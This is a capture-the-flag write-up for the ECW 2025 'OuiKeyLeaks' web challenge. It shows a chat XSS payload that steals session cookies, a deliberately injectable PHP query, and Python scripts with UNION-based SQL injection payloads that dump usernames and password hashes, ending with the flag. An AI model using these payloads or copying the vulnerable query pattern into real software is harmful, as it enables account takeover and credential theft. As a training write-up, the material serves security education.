Oui, Key Leaks


Oui, Key Leaks

OuiKeyLeaks have been seized for publishing a bad article about drones!

Out of curiosity, can you help us pentesting this website ? Try retrieving the admin’s password hash.

Spoiler : It’s going to take some escalation ! Have fun.

Introduction

OuiKeyLeaks is a medium web challenge from the ECW 2025, in blackbox, which means we dont have any access to the source code.

Website

Get into the website

When you look up at the JavaScript code that runs on the page, you’ll see a comment with some JavaScript code:

/*Script that should redirect to the right endpoint if the user is granted with my cookie*/

/*
document.addEventListener("DOMContentLoaded", function () {
	const cookies = document.cookie.split(';');
	let magicCookieValue = null;
	
	// Check if magic_cookie is set !!
	cookies.forEach(cookie => {
		const [name, value] = cookie.trim().split('=');
		if (name === 'magic_cookie') {
			magicCookieValue = value;
		}
	});

	// If the user has the valid magic cookie
	if (magicCookieValue === 'investigator') {
		window.location.href = "/OuiKL/blog.html";
	} 
});
*/

/*Decided to redirect using nginx reverse proxy to assure security*/

When you read that code, you understand that you need to have a cookie called magic_cookie with investigator as value.

If we put this cookie, and we refresh the page, we now have access to the website content.

Website

From investigator to administrator

The first thing we can do, is adding a premium cookie to true, to avoid having some ads on the screen:

ads.js
function createStopAdsButton() {
    if (getCookie("premium") == "true") return; // Do nothing if premium

    const button = document.createElement("button");
    button.textContent = "🚫 Stop Ads : Get premium";
    button.classList.add("stop-ads");

    document.body.appendChild(button);
}

createStopAdsButton();

setInterval(createPopup, 1424);

Then, when you go on the chat, you can send some messages, treated with that script:

app.js
const port = window.location.port ? `:${window.location.port}` : "";
const socket = io(`ws://${window.location.hostname}${port}`) 
function toggleChat() {
    const chatContainer = document.getElementById("chatContainer");
    chatContainer.classList.toggle("open");
}

function sendMessage(e) {
    e.preventDefault()
    const input = document.querySelector('input')
    if (input.value) {
        socket.emit('message', input.value)
        input.value = ""
    }
    input.focus()
}

document.querySelector('form')
    .addEventListener('submit', sendMessage)

socket.on("message", (data) => {
    const li = document.createElement('li')
    li.innerHTML = data;
    document.querySelector('ul').appendChild(li)

    const chatBody = document.querySelector('.chat-body');
    chatBody.scrollTop = chatBody.scrollHeight;
})

We can see that when it receive a message, it’ll use the innerHTML function to render the message content, that’ll allows us to use an XSS.

So, we can try to steal another user cookie with a simple img tag:

<img src=x onerror="socket.emit('message',document.cookie)"/>

In the chat, we’ll get back other users cookies:

_6LtN: magic_cookie=investigator; premium=true; guid=51af8760-3cbf-4344-bcba-7f142d3157e7

Once you add them, you’ll be able to go on the administrator panel on the /admin route.

Admin panel

Watching logs

On the logs tab, we have all the website logs available. Many times, you can see a request to /admin/notes.txt, so let’s see what we have there.

Admin notes

notes.txt
TODO : 

Gotta implement some temporary validation dor investigators : done
Using rev nginx : done
SQL is so easy : yes
No time for guid validation with nginx, todo later
Make admins able to change password : done
email notifs: done
Dark Light themes : useless really + web dev, won't do

Rebrand to something else than Oui Key Leaks like idk... The Pi rat's babe or something, sounds good



______________________________________________ What to do if you are under investigation __________________________________________________

If you are under investigation, the first step is to contact a lawyer immediately.
 Avoid speaking to the police or signing any documents without legal advice.
 A lawyer can help manage the situation and prevent it from worsening.
 They can also conduct their own investigation to uncover evidence that might prove your innocence.
 It is crucial to act quickly, as certain avenues of investigation may close once you are charged.
 Understanding your legal rights and ensuring you do not make any incriminating mistakes is essential.

_______________________________________________ How to find a good lawyer __________________________________________

Finding a good lawyer involves several steps to ensure you find someone who can effectively handle your legal needs. First, consider the type of legal services you require and whether you need a general practice attorney or a specialist in a specific area of law.

Personal referrals from friends, family, or colleagues who have faced similar legal issues can provide valuable insights into a lawyer's competence and communication style.
 Additionally, you can consult with your local or state bar association, which often provides lawyer referral services.

Online resources like Avvo and Lexpert offer directories of lawyers with client reviews, bar data, disciplinary records, and peer endorsements, allowing you to research potential candidates.
 These directories can help you narrow down your choices based on practice area and location.

TODO eventually :
Test security, especially the guid cookie, I hard vibed that code a little too hard maybe
Buy new coffee machine
I should try OSCP, I'm good at security
I should check if the guid is valid instead of simply checking if the user has a guid set
Check again if I successfully deleted all illegal files from server

Base64: J1lvdSdyZSBvbiB0aGUgcmlnaHQgcGF0aCwgZW5qb3lpbmcgdGhlIGNoYWxsIHNvIGZhciA/IExldCBtZSBrbm93IG9uIERpc2NvcmQgOyknIElsbF9MYWtlIG9yIE5vZHJvZyBOYW1lZXJm

my slapped code to be reworked : 

<?php
header("Content-Type: application/json");
require_once '../config/config.php'; // Connexion PDO

// Check if guid is present
if (isset($_COOKIE['guid'])) {
    $guid = $_COOKIE['guid'];

    $query = "SELECT name, secret FROM users WHERE guid = '$guid'"; 
    $result = $pdo->query($query);
    $userData = $result->fetch(PDO::FETCH_ASSOC);

    if ($userData) {
        echo json_encode([
            "success" => true,
            "name" => $userData['name'],
            "secret" => $userData['secret']
        ]);
    } else {
        echo json_encode(["success" => false, "message" => "Unknown GUID"]);
    }
} else {
    echo json_encode(["success" => false, "message" => "No guid found..."]);
}
?>

TODO also, make sure nobody can see this file

SQLi on protected API endpoint

Okay, so we got a PHP code with an SQL injection in the notes.txt file. But, we don’t know in which route this SQL injection takes places.

For that, I just openned my dev tool during the load of the website, and I found that URL: http://challenges.challenge-ecw.eu:35742/admin/api/user.php

Which have the following response:

API response

So exactly the same response structure.

Now, we need to automatically get all usernames and secrets:

bruteforce.py
from requests import get

BASE_URI = "http://challenges.challenge-ecw.eu:35742/admin/api/user.php"

for i in range(20):
    payload = f"51af8760-3cbf-4344-bcba-7f142d3157e7' OR 1=1 LIMIT {i},1 # "
    print(payload)
    res = get(BASE_URI, cookies={"guid": payload})
    if res.status_code == 200:
        print(res.json())
    else:
        print("An error has occured... Exit...")
        break

Exploit result

Nothing that much interesting, except one line, the “Admin” one, with the following secret: I always hide my flags is my db password fields.

Let’s do some classic SQL injection then:

  1. Get the DB type and version:
51af8760-3cbf-4344-bcba-7f142d3157e8' UNION SELECT
@@version,'salut' # 
{'success': True, 'name': '10.11.14-MariaDB-0+deb12u2', 'secret': 'salut'}
  1. Select all columns: From the above PHP script in the notes, we know that we need to use the users table.
51af8760-3cbf-4344-bcba-7f142d3157e8' UNION SELECT
GROUP_CONCAT(column_name SEPARATOR ', '),'salut'
FROM information_schema.columns WHERE
table_name = 'users' GROUP BY table_name # 
{'success': True, 'name': 'USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, name, password_hash, guid, secret, email, email_notifications, created_at', 'secret': 'salut'}
  1. Make a script and grab all passwords:
from requests import get
from urllib.parse import urlencode,quote_plus

BASE_URI = "http://challenges.challenge-ecw.eu:35977/admin/api/user.php"

for i in range(20):
    payload = f"51af8760-3cbf-4344-bcba-7f142d3157e8' UNION SELECT password_hash, name FROM users LIMIT {i},1 # "
    res = get(BASE_URI, cookies={"guid": payload})
    if res.status_code == 200:
        json_data = res.json()
        if json_data["success"] == False:
            print(json_data)
            break
        print(json_data)
    else:
        print(res.status_code)
        print(res.text)
        print("An error has occured... Exit...")
        break

Flag

Flag: ECW{M4stery_Of_All_T3chniques_gg}